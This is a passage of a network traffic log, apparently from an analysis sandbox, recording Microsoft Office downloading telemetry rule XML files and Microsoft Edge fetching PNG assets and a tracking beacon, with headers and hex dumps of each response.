2024-11-21 23:11:53 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:53 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:53 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231153Z-178bfbc474btrnf9hC1NYCb80g000000029g00000000dkqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:53 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:53 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:53 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:53 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231153Z-174c587ffdfcb7qhhC1TEB3x7000000000r0000000008wxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:53 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:53 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231153Z-178bfbc474bv7whqhC1NYC1fg4000000026g000000005bc9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:54 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:54 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231154Z-174c587ffdfks6tlhC1TEBeza400000000s00000000042z5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:54 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:54 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:54 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231154Z-178bfbc474bv587zhC1NYCny5w00000001yg00000000nzba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:54 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231155Z-178bfbc474bpnd5vhC1NYC4vr4000000027g0000000015eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49841	18.165.220.106	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	925	OUT	GET /b?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 21 Nov 2024 23:11:55 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732230714889&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=306F509DFB216A50056745A3FA536B36&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=12De08d5b791f06448eef4f1732230715; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=12De08d5b791f06448eef4f1732230715; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 1b300ac0fc08f49360b62bb3f1350070.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: Yk32O6qw4rDuBKQvnalUSQuaDkKw7f1UDdowmwHQczsiopmC2o0hXQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49873	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:55 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 52cc44f8-101e-003c-1559-3cdcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231155Z-178bfbc474bh5zbqhC1NYCkdug000000025g0000000000gp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231155Z-178bfbc474bh5zbqhC1NYCkdug00000001y0000000010h37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49879	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1e9f1f98-401e-0006-2c47-3c9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231156Z-178bfbc474bwh9gmhC1NYCy3rs000000024000000000u2hp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49878	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 4672b4b6-e01e-0066-2047-3cda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231156Z-178bfbc474bwlrhlhC1NYCy3kg000000021g00000000wesg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49876	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
